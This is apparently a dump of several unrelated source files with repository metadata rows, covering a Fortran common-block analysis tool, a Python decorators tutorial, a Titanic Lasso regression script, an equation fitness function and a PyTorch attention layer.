glob.glob(os.path.join(rootdir,dg)): if dir.rstrip('/') not in excludes: for path in glob.glob('{}/*{}'.format(dir,ext)): d,name = os.path.split(path) if name in paths: print 'duplicate:', paths[name], path paths[name] = path return paths def joinacrosscpp(lines, i=0, argstr=''): while lines[i+1][:1] == '#' or CONTLINEPATT.match(lines[i+1]): i += 1 #lline = lines[i].lower() lline = lines[i] if CONTLINEPATT.match(lline): arg = INLINECOMMENTPATT.sub('', lline[6:]).strip() argstr = argstr + arg return i,argstr def stripallcpp(fname): lines = [] linenum = [] with open(fname) as fid: for n,line in enumerate(fid): line = INLINECOMMENTPATT.sub('', line.rstrip().lower()) if line[:1] == ' ': lines.append(line) linenum.append(n+1) return lines, linenum def stripcpp(fname): with open(fname) as fid: lines = fid.readlines() # remove comments and preprocessor directives, except includes i = 0 n = 1 linenum = [1] # includes = [] while i < len(lines): # remove newline lines[i] = INLINECOMMENTPATT.sub('', lines[i].rstrip()) # m = re.match(r'# *include +"([^"]+)"', lines[i+1]) # if m: # includes.append(m.group(1)) if lines[i][:1] == ' ': lines[i] = lines[i].lower() if lines[i][:1] != ' ' and not INCLUDEPATT.match(lines[i]): lines.pop(i) else: linenum[i:i+1] = [n] i += 1 n += 1 return lines, linenum #, includes def joincontinuation(lines): '''joins continuation lines in place ''' # join continuation lines # assumes that cpp directives and comments have already been stripped i = 0 while i < len(lines)-1: if CONTLINEPATT.match(lines[i+1]): line = INLINECOMMENTPATT.sub('', lines.pop(i+1)[6:].strip()) lines[i] = lines[i] + ' ' + line else: i += 1 def parseinclude(incname, paths, commsbyinc=None, varsbyinc=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if incname in varsbyinc: return commsbyinc[incname], varsbyinc[incname] try: fname = paths[incname] except KeyError: if incname not in _IGNOREHEADERS: print 'Missing:', incname return {},{} commons = {} globvars = {} lines,_ = stripcpp(fname) joincontinuation(lines) for line in lines: m = INCLUDEPATT.match(line) if m: inc = m.group(1) if inc in paths: c,g = parseinclude(m.group(1), paths, commsbyinc, varsbyinc) commons.update(c) globvars.update(g) else: if inc not in _IGNOREHEADERS: print 'WARNING: {}: Missing header {}'.format(fname, inc) continue m = COMMONPATT.match(line) if m: commname,varstr = m.groups() varnames = [ s.strip() for s in varstr.split(',') ] if commname in commons: if commons[commname] != incname: print 'WARNING: common block', commname, 'in', paths[commons[commname]], fname else: commons[commname] = incname for varname in varnames: if varname in globvars: c = globvars[varname] inc = commons[c] if inc == incname and c == commname: print 'WARNING: {}: {} appears twice in /{}/'.format(fname, varname, commname) else: print 'WARNING:', fname+':', varname, 'already in', paths[inc]+':'+c globvars[varname] = commname continue commsbyinc[incname] = commons varsbyinc[incname] = globvars return commons, globvars #def parseallincludes(paths): # c = {} # g = {} # for incname in paths: # parseinclude(incname, paths, c, g) # return c,g def getglobals(fname, paths, commsbyinc=None, varsbyinc=None, commons=None, globvars=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if commons is None: commons = {} if globvars is None: globvars = {} lines,_ = stripcpp(fname) joincontinuation(lines) srname = '' for line in lines: m = SRPATT.match(line) if m: _,srname,_ = m.groups() if srname in commons: print 'WARNING: {}: S/R {} appears twice in'.format(fname, srname) else: commons[srname] = {} globvars[srname] = {} continue m = INCLUDEPATT.match(line) if m: inc = m.group(1) if srname == '': if not 'OPTIONS.h' in inc and not 'CONFIG.h' in inc and not inc in _IGNOREHEADERS: print '{}: skipping pre-subroutine include {}'.format(fname, inc) elif inc in paths: c,g = parseinclude(m.group(1), paths, commsbyinc, varsbyinc) commons[srname].update(c) globvars[srname].update(g) else: if inc not in _IGNOREHEADERS: print 'WARNING: {}: Missing header {}'.format(fname, inc) continue m = COMMONPATT.match(line) if m: commname,varstr = m.groups() varnames = [ s.strip() for s in varstr.split(',') ] globvar = {} for varname in varnames: if varname in globvars[srname]: c = globvars[srname][varname] inc = commons[srname][c] if inc is None: print 'WARNING:', fname+':', varname, 'in', c, commname else: print 'WARNING:', fname+':', varname, 'in', paths[inc]+':'+c, fname+':'+commname globvar[varname] = commname if commname in commons[srname]: inc = commons[srname][commname] vs = set( k for k,v in globvars[srname].items() if v == commname ) if inc is None: if vs.symmetric_difference(globvar.values()): print 'WARNING: {}: /{}/ appears twice'.format(fname, commname) else: print 'WARNING:', fname+': common block', commname, 'in', paths[inc], fname # will overwrite commons and update globvars globvars[srname].update(globvar) commons[srname][commname] = None continue return globvars, commons def getallglobals(fnames, incpaths, commsbyinc=None, varsbyinc=None, commons=None, globvars=None): if commsbyinc is None: commsbyinc = {} if varsbyinc is None: varsbyinc = {} if commons is None: commons = {} if globvars is None: globvars = {} for fname in fnames: getglobals(fname, incpaths, commsbyinc, varsbyinc, commons, globvars) return globvars, commons #def parseincludes(paths, incnames=None, commons={}, globvars={}): # if incnames is None: # incnames = paths.keys() # # for incname in incnames: # try: # fname = paths[incname] # except KeyError: # if incname not in _IGNOREHEADERS: # print 'Missing:', incname # continue # # lines,_ = stripcpp(fname) # lines = joincontinuation(lines) # for line in lines: # m = INCLUDEPATT.match(line) # if m: # parseincludes(paths, [m.group(1)], commons, globvars) # continue # # m = COMMONPATT.match(line) # if m: # name,varstr = m.groups() # varnames = [ s.strip() for s in varstr.split(',') ] # if name in commons: # if commons[name] != incname: # print 'WARNING: common block', name, 'in', paths[commons[name]], paths[incname] # else: # commons[name] = incname # for varname in varnames: # if varname in globvars: # c = globvars[varname] # print 'WARNING:', varname, 'in', paths[commons[c]]+':'+c, paths[commons[name]]+':'+name # globvars[varname] = name # # continue # # return commons, globvars def getdirect(fname): # strip comments, cpp directives lines,linenum = stripallcpp(fname) # identify subroutines srfiles = {} # subargs[srname] = [arg, ...] subargs = {} # calls[srname] = [(called,args), ...] calls = {} srname = '' for i in range(len(lines)): lline = lines[i].lower() m = SRPATT.match(lline) if m: tp,srname,argstr = m.groups() srfiles[srname] = (fname, linenum[i]) if argstr is None: args = [] else: while lines[i+1][:1] == '#' or CONTLINEPATT.match(lines[i+1]): i += 1 lline = lines[i].lower() if CONTLINEPATT.match(lline): arg = re.sub(r'!.*$', '', lline[6:]).strip() argstr = argstr + arg argstr = argstr.strip() assert argstr[0] == '(' assert argstr[-1] == ')' args = [ s.strip() for s in argstr[1:-1].split(',') ] if srname in subargs: print 'WARNING: {}: subroutine encountered twice: {} {} {}'.format(fname, srname, len(subargs[srname]), len(args)) subargs[srname] = args calls[srname] = [] continue m = CALLPATT.match(lline) if m: called = m.group(2) argstr = m.group(3) i0 = i i,argstr = joinacrosscpp(lines, i, argstr) try: argl, = parenexpr.parseString(argstr).asList() except ParseException: print '{}:{}'.format(fname, linenum[i]), argstr raise args1 = ' '.join([ s for s in argl if type(s) != type([]) and s[0] not in "'" + '"' ]) def argvars(args1): for s in args1.split(','): m1 = re.match(r' *(\w*)', s) yield m1.group(1) args = list(argvars(args1)) if srname == '': print fname, called l = str(linenum[i0]) if i != i0: l += '-{}'.format(linenum[i]) calls[srname].append((l, called, args)) continue # direct[srname][varname] = [line1, line2, ...] direct = {} srname = '' for i,line in enumerate(lines): m = SRPATT.match(line) if m: srname = m.group(2) direct[srname] = {} continue m = re.match(r' .... *([a-zA-Z_][a-zA-Z0-9_]*) *(?:\([^)]*\))? *=', line) if m: name = m.group(1) if srname == '': print '{}:{}: assignment outside of subroutine: {}'.format( fname,linenum[i],line) direct[srname].setdefault(name, []).append(str(linenum[i])) continue def joinvalues(d): s = set() for l in d.values(): s.update(l) return s # globmod = {} # for sr in direct: # globmod[sr] = [ v for v in direct[sr] if v in globvars[sr] ] return subargs, direct, calls, srfiles def getdirects(patts, incpaths): fnames = [ s for patt in patts for s in glob.glob(patt) ] srfiles = {} subargs = {} calls = {} direct = {} for fname in fnames: s,d,c,f = getdirect(fname) for sub in s: if sub in subargs: print 'WARNING: {}: S/R {} already in {} {} {}'.format( fname, sub, srfiles[sub], len(subargs[sub]), len(s[sub])) i = 2 while str(i)+sub in subargs: i += 1 s[str(i)+sub] = s[sub] d[str(i)+sub] = d[sub] c[str(i)+sub] = c[sub] f[str(i)+sub] = f[sub] del s[sub] del d[sub] del c[sub] del f[sub] subargs.update(s) calls.update(c) direct.update(d) srfiles.update(f) return subargs, direct, calls, srfiles def findintents(srname, subargs, direct, calls, cache=None, worklist=None): if worklist is None: worklist = {} try: return cache[srname] except: pass # print srname, worklist.keys() sys.stdout.flush() worklist[srname] = True myargs = subargs[srname] mydirect = direct[srname] out = dict((k, k in mydirect) for k in myargs) # out = dict.fromkeys(myargs, False) for l,sub,args in calls[srname]: if sub not in subargs and sub not in cache: ignore = False for patt in _IGNORESUBPATTS: if patt.match(sub): ignore = True break if not ignore and sub not in ['print_error', 'print_message']: print '{}: skipping {}'.format(srname, sub) continue if sub == srname: print '{}: skipping self'.format(sub) elif sub in worklist: print 'Avoiding recursion:', srname, sub else: subout = findintents(sub, subargs, direct, calls, cache, worklist) if len(subout) != len(args): print sub+': have', len(args), 'needs', len(subout) for arg,so in zip(args, subout): if arg in out: out[arg] = out[arg] or so isout = [ out[a] for a in myargs ] if '2'+srname in subargs: i = 2 while str(i)+srname in subargs: if str(i)+srname in worklist: print 'Avoiding recursion:', srname, str(i)+srname else: isout2 = findintents(str(i)+srname, subargs, direct, calls, cache, worklist) if len(isout2) == len(isout) and isout2 != isout: print 'Mismatch', str(i)+srname, isout, isout2 i += 1 if cache is not None: cache[srname] = isout del worklist[srname] return isout def findallintents(subargs, direct, calls): cache = {} cache.update(_KNOWNINTENTS) for srname in subargs: # will fill cache findintents(srname, subargs, direct, calls, cache) return cache def findglobmods(srname, subargs, direct, calls, intents, globvars, cache=None, worklist=None): if worklist is None: worklist = {} try: return cache[srname] except: pass # print srname, worklist.keys() sys.stdout.flush() worklist[srname] = True if srname[0] in string.digits: srname0 = srname.lstrip(string.digits) else: srname0 = srname mydirect = direct[srname] myglobals = globvars[srname0] # globmods = set(mydirect).intersection(myglobals) globmods = dict((k,v) for k,v in mydirect.items() if k in myglobals) for l,sub,args in calls[srname]: if sub not in subargs: ignore = sub in _KNOWNINTENTS for patt in _IGNORESUBPATTS: if patt.match(sub): ignore = True break if not ignore and sub not in ['print_error', 'print_message']: print '{}: skipping {}'.format(srname, sub) continue if sub == srname: print '{}: skipping self'.format(sub) elif sub in worklist: print 'Avoiding recursion:', srname, sub else: submods = findglobmods(sub, subargs, direct, calls, intents, globvars, cache, worklist) for k,v in submods.items(): globmods.setdefault(k, []).append(l) # '{}:{}'.format(sub, v) intent = intents[sub] if len(intent) != len(args): print sub+': have', len(args), 'needs', len(intent) for arg,isout in zip(args, intent): if isout and arg in myglobals: globmods.setdefault(arg, []).append(l) # '{}({})'.format(sub, args.index(arg)+1) if '2'+srname in subargs: i = 2 while str(i)+srname in subargs: if str(i)+srname in worklist: print 'Avoiding recursion:', srname, str(i)+srname else: gm = findglobmods(str(i)+srname, subargs, direct, calls, intents, globvars, cache, worklist) globmods.update(gm) i += 1 if cache is not None: cache[srname] = globmods del worklist[srname] return globmods def findallglobmods(subargs, direct, calls, intents, globvars): cache = {} for srname in globvars: findglobmods(srname, subargs, direct, calls, intents, globvars, cache) return cache globformat='\033[1m{}\033[0m' gmodformat='\033[1;31m{}\033[0m' argformat='\033[1;34m{}\033[0m' argmodformat='\033[1;35m{}\033[0m' def amptodot(s): return re.sub(r'^ (....)&', r' \1*', s) def escapeangles(s): s = s.replace("<", "&lt;") s = s.replace(">", "&gt;") return s def markupfile(fname, srfiles, subargs, globvars, globmods, intents, globformat=globformat, gmodformat=gmodformat, argformat=argformat, argmodformat=argmodformat, escape=lambda x:x, mklink=lambda x,y:x): #lines = map(escape, map(amptodot, open(fname).readlines())) lines = map(escape, open(fname).readlines()) linenum = range(1,len(lines)+1) srname = '' markup = [] i = 0 while i < len(lines): markup += '<a name="{}"></a>'.format(i+1) line = lines[i] m = SRPATT.match(line) if m: tp,srname,argstr = m.groups() srname = srname.lower() def format(arg, intent=None, write=True, iswrite=False): if srname in subargs and arg.lower() in subargs[srname]: if write and (iswrite or intent): arg = argmodformat.format(arg) else: arg = argformat.format(arg) elif srname in globvars and arg.lower() in globvars[srname]: if intent is None: intent = arg.lower() in globmods[srname] if write and intent: arg = gmodformat.format(arg) else: arg = globformat.format(arg) return arg if argstr and srname in intents: ints = intents[srname] markup += ' ' + tp + ' ' + srname + '(' line = argstr[1:] pre = '' iarg = 0 while True: markup += pre myargs = [ s.strip(' )') for s in line.strip().split(',') ] for j in range(len(myargs)): arg = myargs[j] if arg != '': if iarg < len(ints): # print subargs[srname][iarg], arg if arg.lower() != subargs[srname][iarg]: print 'WARNING: {}: argument mismatch {}: {} {}'.format( srname, iarg+1, subargs[srname][iarg], arg) markup += format(arg, iswrite=ints[iarg]) else: markup += arg print '{}: extra argument: {}'.format(srname, arg) iarg += 1 if j < len(myargs) - 1: markup += ',' if myargs[j+1] != '': markup += ' ' extra = [] while lines[i+1][:1] == '#': i += 1 extra += lines[i] i += 1 if CONTLINEPATT.match(lines[i]): pre = lines[i][:6] + ' ' line = lines[i][6:].strip() markup += '\n' markup += extra else: markup += ')\n' markup += extra break continue m = CALLPATT.match(line) if m: if srname == '': print fname, called prefix,called,argstr = m.groups() i1,argstr = joinacrosscpp(lines, i, argstr) try: argl, = parenexpr.parseString(argstr).asList() except ParseException: print '{}:{}'.format(fname, linenum[i]), argstr raise args = [] sufs = [] arg = '' suf = '' def reparen(l): res = [] for s in l: if type(s) == type([]): res += reparen(s) else: res += s return '(' + ''.join(res) + ')' for s in argl: if type(s) == type([]): suf += reparen(s) elif s[0] in "'"+'"': suf += s else: arg += s if ',' in arg: pr,sf = re.split(r',', arg, maxsplit=1) arg = pr.strip() args.append(arg) arg = sf sufs.append(suf) suf = '' while ',' in arg: pr,sf = re.split(',', arg, maxsplit=1) arg = pr.strip() args.append(arg) arg = sf sufs.append('') args.append(arg) sufs.append(suf) if called.lower() in srfiles: # srfile,srline = srfiles[called.lower()] s = mklink(called, srfiles[called.lower()]) myline = prefix + '{}('.format(s) else: myline = prefix + '{}('.format(called) textline = prefix + '{}('.format(called) def join(args,sufs,ints): for arg,suf,intent in zip(args,sufs,ints): arg = format(arg, intent) yield arg + suf try: ints = intents[called.lower()] except KeyError: print 'No intent founds for', called.lower() ints = len(args)*[False] joined = list(join(args,sufs,ints)) pre = '' for j in joined: e = angleexpr.parseString('<'+j+'>').asList()[0] text = ''.join( s for s in e if type(s) != type([]) ) if len(textline+text) > 72: markup += myline pre = ',\n & ' myline = '' textline = '' myline += pre + j textline += pre + text pre = ', ' markup += myline + ')\n' # args1 = ' '.join([ s for s in argl if type(s) != type([]) and s[0] not in "'" + '"' ]) # def argvars(args1): # for s in args1.split(','): # m1 = re.match(r' *(\w*)', s) # yield m1.group(1) # args = list(argvars(args1)) i = i1 + 1 continue # m = re.match(r'( .... *)([a-zA-Z_][a-zA-Z0-9_]*)( *\([^)]*\))?( *=.*$)', line) m = re.match(r'( .... *)([^=]*)(=.*$)', line) if m: #pre,name,args,rhs = m.groups() pre,lhs,rhs = m.groups() try: # check parenthesis on lhs are balanced, or '=' may be in a keyword argument _ = parenexpr.parseString('(' + lhs + ')').asList()[0] except ParseException: iscode = False else: if '(' in lhs: lhs,args = re.split(r'\(', lhs, maxsplit=1) args = '(' + args else: args = '' if srname == '': print '{}:{}: assignment outside of subroutine: {}'.format( fname,linenum[i],line) else: lhs = format(lhs, iswrite=True) # if lhs.lower() in globvars[srname]: # if lhs.lower() in globmods[srname]: ## line = re.sub(lhs, '#{}#'.format(lhs), line, 1, re.I) # lhs = gmodformat.format(lhs) # else: ## line = re.sub(lhs, '|{}|'.format(lhs), line, 0, re.I) # lhs = globformat.format(lhs) markup += pre + lhs # if args: # markup += args # lhs,rhs = re.split(r'=', line, maxsplit=1) # markup += lhs + '=' line = args + rhs + '\n' iscode = True else: iscode = False if iscode or line[:1] == ' ': s = shlex.shlex(line) try: tokens = list(s) except ValueError: pass else: # collaps .*. operators j = 0 while j < len(tokens)-2: if tokens[j] == '.' and tokens[j+2] == '.': if all( s in string.letters for s in tokens[j+1] ): tokens[j:j+3] = [ ''.join(tokens[j:j+3]) ] j += 1 j = 0 for tok in tokens: lentok = len(tok) while line[j] in s.whitespace: markup += line[j] j += 1 # skip over tok if line[j:j+lentok] != tok: if (line[j] == '.' and tok[0] == '.' and tok[-1] == '.' and line[j+1:].lstrip()[:lentok-2] == tok[1:-1] and line[j+1:].lstrip()[lentok-2:].lstrip()[0] == '.'): namestart = line[j+1:].lstrip() nblank = len(line[j+1:]) - len(namestart) nblank += len(namestart[lentok-2:]) - len(namestart[lentok-2:].lstrip()) tok = line[j:j+lentok+nblank] print '{}: joined token {}'.format(fname, tok) else: raise ValueError('{}: expecting token {} found {}'.format(fname, tok, line[j:j+lentok])) assert line[j:j+len(tok)] == tok j += len(tok) if srname: tok = format(tok, write=False) # if srname in globvars and tok.lower() in globvars[srname]: # tok = globformat.format(tok) markup += tok line = line[j:] markup += line i += 1 return ''.join(markup) def mkhtmllink(name, fnameline): fname,line = fnameline link = re.sub(r'^.*/', '', fname) link = re.sub(r'(\.F)?$', '.html', link) return '<a href="{}#{}"><font color="#000000">{}</font></a>'.format(link, line, name) def markuphtml(outname, fname, srfiles, subargs, globvars, globmods, intents, link='', fmt='{}'): f = open(outname, 'w') f.write('''<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>''' + fname + '''</title> </head> <body> <pre> ''') if link: globformat = '<a href="{}{{0}}"><font color="#000000"><b>{{0}}</b></font></a>'.format(link) gmodformat = '<a href="{}{{0}}"><font color="#ff0000"><b>{{0}}</b></font></a>'.format(link) argformat = '<a href="{}{{0}}"><font color="#0000ff"><b>{{0}}</b></font></a>'.format(link) argmodformat = '<a href="{}{{0}}"><font color="#ff00ff"><b>{{0}}</b></font></a>'.format(link) else: globformat = '<b>{}</b>'.format(fmt) gmodformat = '<font color="#ff0000"><b>{}</b></font>'.format(fmt) argformat = '<font color="#0000ff"><b>{}</b></font>'.format(fmt) argmodformat = '<font color="#ff00ff"><b>{}</b></font>'.format(fmt) markup = markupfile(fname, srfiles, subargs, globvars, globmods, intents, globformat, gmodformat, argformat, argmodformat, escape=escapeangles, mklink=mkhtmllink) f.write(markup) f.write('''</pre> </body> </html> ''') if __name__ == '__main__': if '-l' in sys.argv[1:]: subargs = load('subargs.json') direct = load('direct.json') calls = load('calls.json') srfiles = load('srfiles.json') intents = load('intents.json') commons = load('commons.json') globvars = load('globvars.json') globmods = load('globmods.json') else: incpaths = pathdict(rootdir='', ext='.h') forpaths = pathdict(rootdir='', ext='.F') globvars,commons = getallglobals(forpaths.values(), incpaths) subargs,direct,calls,srfiles = getdirects(forpaths.values(), incpaths) intents = findallintents(subargs, direct, calls) globmods = findallglobmods(subargs, direct, calls, intents, globvars) dump('subargs.json', subargs) dump('direct.json', direct) dump('calls.json', calls) dump('srfiles.json', srfiles) dump('intents.json', intents) dump('commons.json', commons) dump('globvars.json', globvars) dump('globmods.json', globmods)
[ "maxime.benoit-gagne@takuvik.ulaval.ca" ]
maxime.benoit-gagne@takuvik.ulaval.ca
edf81931238add46f55efc612d3815bd32e466ee
b5da4e77d400b5c293390bf071ac710bbbeec90f
/lesson2/s2_decorators.py
5c8648727355c5f14940500d5ac4b5ddde04e8af
[]
no_license
HLevering/python_lectures
7f2a06a62b1931c24e1a000122c9dbc905438355
2e626c218892f50d48648ffbfa4856618eccaa61
refs/heads/master
2022-11-16T11:17:18.649464
2020-07-09T17:58:37
2020-07-09T17:58:37
276,714,821
0
0
null
null
null
null
UTF-8
Python
false
false
3,824
py
# we already learned, that functions are first class objects in Python and we # learned that functions can accept other functions as parameters and return # functions # let's assume, we have the following function def add(a, b): return a + b # let's assume, that we want to write some html def tagged(message): return f"<p>{message}</p>" print(tagged(add(1, 2))) # now we can print our tagged result, but we have to use tagged every time # together with add #lets write another function def tagged1(func): def tagged_func(arg1, arg2): return f"<p>{func(arg1, arg2)}<p>" return tagged_func add = tagged1(add) print(add(1,2)) print(add(2,2)) # Lets pause for a moment. We created a function that takes another function, # wrapped it another function and returned the wrapped version and assigned to # the initial function name. Now, we have a new function that not only # calculates the addition but also tagges the result in html. This pattern: # 1. call a function with a function # 2. return a new function # 3. assign the new function to original function name # is called decorator pattern and it is so common that we have a special # syntax for it def tagged(func): def tagged_func(arg1, arg2): return f"<p>{func(arg1, arg2)}<p>" return tagged_func @tagged def add(a, b): return a + b print(add(1,2)) # the @tagged is syntactic sugar for the above mentioned 3 steps # now we are able to tag further functions @tagged def sub(a, b): return a - b print(sub(2,1)) # but there is one problem, what happens, if we want to tag other functions # which do not take exactly 2 arguments @tagged def squared(a): return a**2 #print(squared(2)) # this will fail # However, if we change our tagged function a little bit ... def tagged(func): def tagged_func(*args, **kwargs): return f"<p>{func(*args, **kwargs)}<p>" return tagged_func # it can decorate every function, no matter what kind of parameters this # function expects @tagged def squared(a): return a**2 print(squared(2)) # now, this will work # there is one further problem. After decorating the squared function its # original name has vanished print(squared) # The functools module provides a decorator wraps, which conserves the original # function name (and some further attributes) from functools import wraps def tagged(func): @wraps(func) def tagged_func(*args, **kwargs): return f"<p>{func(*args, **kwargs)}<p>" return tagged_func @tagged def squared(a): return a**2 print(squared(2)) print(squared) # now, the function's name will stay the same # Let's go one step further. We can only tag functions with a <p> tag, which is # in some kind limiting. If we add one further layer, we can solve this # problem, too from functools import wraps def tagged(tag): def tag_with_tag(func): @wraps(func) def tagged_func(*args, **kwargs): return f"<{tag}>{func(*args, **kwargs)}</{tag}>" return tagged_func return tag_with_tag @tagged("h1") def squared(a): return a**2 print(squared(2)) # now, we have a flexible tagged function # decorators are a powerfull tool, which enable you to combine orthogonal # functionality in your program @tagged("h1") @tagged("p") def squared(a): return a**2 print(squared(2)) # the functools module provides some decorators # lru_cache caches a function result and returns the cached value on subsequent # calls from functools import lru_cache from time import sleep @lru_cache() def expensive_job(arg): sleep(2) # wait for 2 seconds return arg print(expensive_job(42)) print(expensive_job(42)) # we already saw @wraps which is used in function decorators to preserve names. # Checkout the docs for functools to discover more usefull stuff
[ "12120186+HLevering@users.noreply.github.com" ]
12120186+HLevering@users.noreply.github.com
676b046bc41775722da817f6d75afe50bed5a6a4
dab3dde990e2eb9cb94bfd441ac60513480d84d0
/Titanic/lasso.py
d17b81a6f8952aadc7768051302d1b14233e838e
[]
no_license
TommyCpp/KagglePlayground
2829d69ccebe7a0113badea9bafca113ec6aee66
857ef3b4c3c0638d09394895fcd502110640ab6a
refs/heads/master
2021-09-04T19:09:11.049711
2018-01-21T13:43:13
2018-01-21T13:43:13
115,982,956
0
0
null
null
null
null
UTF-8
Python
false
false
1,153
py
from sklearn import preprocessing, linear_model, metrics from Titanic.io import * TEST_FEATURE = ['Pclass', 'Sex', 'Age', 'Fare'] def _preprocessing(x): return preprocessing.scale(x) def train_Lasso(): data, raw_data = read_data("./train.csv",) data = feature_engineer(data, raw_data) test_data = data.sample(frac=0.2) data.drop(test_data.index) data = data.as_matrix() label = data[:, 0] x = data[:, 1:] x = _preprocessing(x) reg = linear_model.Lasso(alpha=0.1) reg.fit(x, label) return reg, test_data def test_Lasso(): model, data = train_Lasso() data = data.as_matrix() y_true = data[:, 0] x = data[:, 1:] x = _preprocessing(x) y_pred = model.predict(x).round() print(metrics.f1_score(y_true, y_pred)) def write_result_Lasso(): raw_data, x, result = read_test_data(TEST_FEATURE) # type:DataFrame x = feature_engineer(x, raw_data) X = _preprocessing(x) reg, _ = train_Lasso() y = reg.predict(X).round() result['Survived'] = y.astype(int) result.to_csv("./result.csv", index=False) if __name__ == "__main__": write_result_Lasso()
[ "a444529216@hotmail.com" ]
a444529216@hotmail.com
2a262987febcb198d0d3d8bcd2fee42aebf137ba
e688f87faf74abbe66e0bcec9e5da2e3b5b8127f
/eqnsolve/eqn4.py
49c7432156017373091cd6b935070a187547e569
[ "MIT" ]
permissive
TeamC-AAD/Library
50d27fc3531eba7d1b4b2795535346c283b1a013
e44296799dcfc06356873942c72ee81da185a07e
refs/heads/main
2023-02-07T12:47:00.886584
2021-01-01T09:31:27
2021-01-01T09:31:27
302,106,738
3
5
MIT
2021-01-01T09:31:28
2020-10-07T17:10:58
HTML
UTF-8
Python
false
false
455
py
import numpy as np var = 6 def eqnfit(chromosome): ''' Equation 1: x^53 + y^42 - z^76 + a^106 + b^25 - c^46 = 0 ''' eqn = chromosome[0]**53 + chromosome[1]**42 - chromosome[2]**76 + chromosome[3]**106 + chromosome[4]**25 - chromosome[5]**46 val = 226 return (1/(eqn-val)) def value(chromosome): return chromosome[0]**53 + chromosome[1]**42 - chromosome[2]**76 + chromosome[3]**106 + chromosome[4]**25 - chromosome[5]**46
[ "karthik.viswanathan@research.iiit.ac.in" ]
karthik.viswanathan@research.iiit.ac.in
1c9e15d5133c1d93fd343e6858a4ddb2e831bc3f
1257ccf0f2e5585714988c54478e1c10385f6585
/1_linear_regression.py
92688e57d5c3b2b9e578cf06b2d274ebcfcd212e
[ "MIT" ]
permissive
domluna/cgt_tutorials
ee3685d7cba60b46333e1ab2217c862e02255f4e
67672a0b4ed8b30d5e5e1bc552c52d8d7f46b09f
refs/heads/master
2018-12-29T21:26:46.981711
2015-09-17T23:39:03
2015-09-17T23:39:03
42,020,289
0
0
null
null
null
null
UTF-8
Python
false
false
1,669
py
from __future__ import print_function import cgt import numpy as np from cgt import nn from sklearn import datasets from sklearn.cross_validation import train_test_split boston = datasets.load_boston() data = boston.data targets = boston.target nfeats = data.shape[1] # scale data # scaler = StandardScaler().fit(data, targets) # scaled_data = scaler.transform(data, targets) # split data X_train, X_test, Y_train, Y_test = train_test_split(data, targets, test_size=.2, random_state=0) # hyperparams # # Be careful when setting alpha! If it's too large # here the cost will blow up. alpha = 1e-7 epochs = 100 # Linear regression model np.random.seed(0) X = cgt.matrix('X', fixed_shape=(None, nfeats)) Y = cgt.vector('Y') w = cgt.shared(np.random.randn(nfeats) * 0.01) # prediction ypred = cgt.dot(X, w) # cost cost = cgt.square(Y - ypred).mean() # derivative with respect to w dw = cgt.grad(cost=cost, wrt=w) updates = [(w, w - dw * alpha)] # training function trainf = cgt.function(inputs=[X, Y], outputs=[], updates=updates) # cost function, no updates costf = cgt.function(inputs=[X, Y], outputs=cost) for i in xrange(epochs): trainf(X_train, Y_train) C = costf(X_test, Y_test) print("epoch {} cost = {}".format(i+1, C)) wval = w.op.get_value() print("Linear Regression ", wval) # closed form solution wclosed = np.linalg.lstsq(data, targets)[0] print("Closed form ", wclosed) # Tests, linreg_err ~= closed_err linreg_err = np.square(np.dot(X_test, wval) - Y_test).mean() closed_err = np.square(np.dot(X_test, wclosed) - Y_test).mean() print("Linear Regression error = ", linreg_err) print("Closed Form error = ", closed_err)
[ "dluna132@gmail.com" ]
dluna132@gmail.com
b64604c9b648998ed3bbfa759b42faad81c34425
cb363afddfd74df579eb93810b90a21574d4907c
/58 mylist.py
1239c64cae4975ebb29349e946f1ca6bedd4df7e
[]
no_license
Mohit130422/python-code
ca0580c1f057070d11c154cca6ea8891e7c6672d
6fb04b5b3456136a139a16ace636dfcc5df31912
refs/heads/master
2022-11-21T03:29:16.726081
2020-07-26T18:33:52
2020-07-26T18:33:52
282,705,039
2
0
null
null
null
null
UTF-8
Python
false
false
355
py
#mylist- in python list an object which cna be crated by placing out element inside[].Seprated by(,) it can be of any No. and any types. mylist1=[]#empty mylist2=[1,2,3,4,5]#same type element mylist3=[1,2,"mohit",45.78]#mixed type element print(type(mylist1),' ',type(mylist2),' ',type(mylist3)) print(mylist1) print(mylist2) print(mylist3) #run
[ "noreply@github.com" ]
Mohit130422.noreply@github.com
ad1bc8a97b26cb2986ff7b6d88f73c5c06e513f4
08b9515df99b5d2fa6a3957fdf7d09156f9f37ac
/Seq2SeqWithAttn/Attn.py
2ffb084d796638245d30e3e348e62cc46abab5da
[]
no_license
AlexYMH/NN_models_pytorch
1cc849e00d0b333f879960343cf0c838c030986a
4d2cbd3429984517de27c35eaf49f203a1cd9d9b
refs/heads/master
2020-04-12T13:51:48.089779
2018-12-20T12:12:46
2018-12-20T12:12:46
162,534,123
0
0
null
null
null
null
UTF-8
Python
false
false
1,801
py
# Luong attention layer class Attn(torch.nn.Module): def __init__(self, method, hidden_size): super(Attn, self).__init__() self.method = method if self.method not in ['dot', 'general', 'concat']: raise ValueError(self.method, "is not an appropriate attention method.") self.hidden_size = hidden_size if self.method == 'general': self.attn = torch.nn.Linear(self.hidden_size, hidden_size) elif self.method == 'concat': self.attn = torch.nn.Linear(self.hidden_size * 2, hidden_size) self.v = torch.nn.Parameter(torch.FloatTensor(hidden_size)) def dot_score(self, hidden, encoder_output): return torch.sum(hidden * encoder_output, dim=2) def general_score(self, hidden, encoder_output): energy = self.attn(encoder_output) return torch.sum(hidden * energy, dim=2) def concat_score(self, hidden, encoder_output): energy = self.attn(torch.cat((hidden.expand(encoder_output.size(0), -1, -1), encoder_output), 2)).tanh() return torch.sum(self.v * energy, dim=2) def forward(self, hidden, encoder_outputs): # Calculate the attention weights (energies) based on the given method if self.method == 'general': attn_energies = self.general_score(hidden, encoder_outputs) elif self.method == 'concat': attn_energies = self.concat_score(hidden, encoder_outputs) elif self.method == 'dot': attn_energies = self.dot_score(hidden, encoder_outputs) # Transpose max_length and batch_size dimensions attn_energies = attn_energies.t() # Return the softmax normalized probability scores (with added dimension) return F.softmax(attn_energies, dim=1).unsqueeze(1)
[ "noreply@github.com" ]
AlexYMH.noreply@github.com
a51a800fa3cbcdbdabc508f2cfbcbe3ad8d165cc
3bc44aaf9cd96cf0a93512cdfe0c45cf372cb275
/run_service.py
39d5b344816e449f260b60c62bb8ee4a84a0b444
